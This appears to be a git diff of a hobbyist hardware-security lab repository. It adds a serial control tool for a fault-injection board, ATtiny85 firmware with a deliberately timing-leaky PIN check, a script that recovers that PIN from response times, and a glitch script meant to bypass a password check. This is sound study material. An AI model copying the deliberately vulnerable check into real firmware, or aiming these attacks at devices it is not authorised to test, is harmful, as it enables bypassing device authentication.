table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/README.md b/README.md deleted file mode 100644 index 5ca94a8..0000000 --- a/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Hardware -=============== - -A place for me to store my hardware experiments and scripts and useful tidbits \ No newline at end of file diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino new file mode 100644 index 0000000..53839d4 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino @@ -0,0 +1,103 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = "1324"; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.println("Entered so far: " + currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(5); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + + if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py new file mode 100644 index 0000000..e01eeb2 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py @@ -0,0 +1,115 @@ +import serial +import time + +# Constants +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +PREFIX = "" +ATTEMPTS = 3 +DELAY = 0.8 +KEYSPACE = ["1", "2", "3", "4"] +LENGTH = 4 + +def get_response_time(serial_port, message): + """ + Function to send message, wait for response, and measure response time. + """ + # Flush the input buffer to clear any leftover data + serial_port.flushInput() + + first_line_received = False + + # Send each character in the message with a delay + for i, char in enumerate(message): + time.sleep(DELAY) # Delay before sending the character + serial_port.write(char.encode()) # Send one character at a time + #print(f"sending: {char}") + if i < len(message)-1: + #print(f"reading") + raw_response = serial_port.readline() + + # After sending all characters, we will read until we get the first line (complete response) + raw_response = b'' # Initialize the response variable + + while True: + byte = serial_port.read(1) # Read one byte at a time + if byte: + if byte == b'\n' and not first_line_received: + first_line_received = True # The first line has been received + # Do not start timing yet; we need to wait for the next line after the first one + elif first_line_received: + # Start measuring response time after the first line is fully received + start_time = time.time() + break # We begin timing here, immediately after the first line has been read + + final_response = serial_port.readline().decode(errors='ignore').strip() + # Now read the rest of the response and stop when the second newline is encountered + #final_response = raw_response.decode(errors='ignore').strip() # Decode the response + + # Measure the time taken for the second line (after the first) + response_time = time.time() - start_time + + # Debug message to show what was sent, received, and the response time + print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True) + + time.sleep(DELAY) + return final_response, response_time + +def calculate_average_response_time(serial_port, message): + """ + Calculate average response time over multiple attempts. + """ + total_time = 0 + response_times = [] + + # Try multiple attempts to get the average response time + for _ in range(ATTEMPTS): + response, response_time = get_response_time(serial_port, message) + total_time += response_time + response_times.append(response_time) + + average_time = total_time / ATTEMPTS + print(f"\r{message} average: {average_time:.4f} seconds ", flush=True) + return average_time, response_times + +def identify_sequence(serial_port): + """ + Identify the complete sequence of characters by sending test sequences. + """ + prefix = "" + + # Loop over all positions in the sequence (length 4 in this case) + for pos in range(LENGTH): + slowest_avg = float('-inf') # Initialize with the smallest possible number to track the largest value + best_digit = None + + # Try each character in the keyspace for this position + for key in KEYSPACE: + # Build message for this position + message = prefix + key + key * (LENGTH - len(prefix) - 1) + print(f"Testing: {message}", end='', flush=True) + + # Get the average response time for this message + avg_time, _ = calculate_average_response_time(serial_port, message) + + # Track the slowest (highest average response time) + if avg_time > slowest_avg: # Modify comparison to choose the longest time + slowest_avg = avg_time + best_digit = key + + # Append the best digit found to the prefix + prefix += best_digit + print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)") + + return prefix + +def main(): + # Open the serial port + with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port: + print(f"Starting sequence identification on port {SERIAL_PORT}...") + sequence = identify_sequence(serial_port) + print(f"Identified sequence: {sequence}") + +if __name__ == '__main__': + main() + diff --git a/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg new file mode 100644 index 0000000..7db7b86 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() 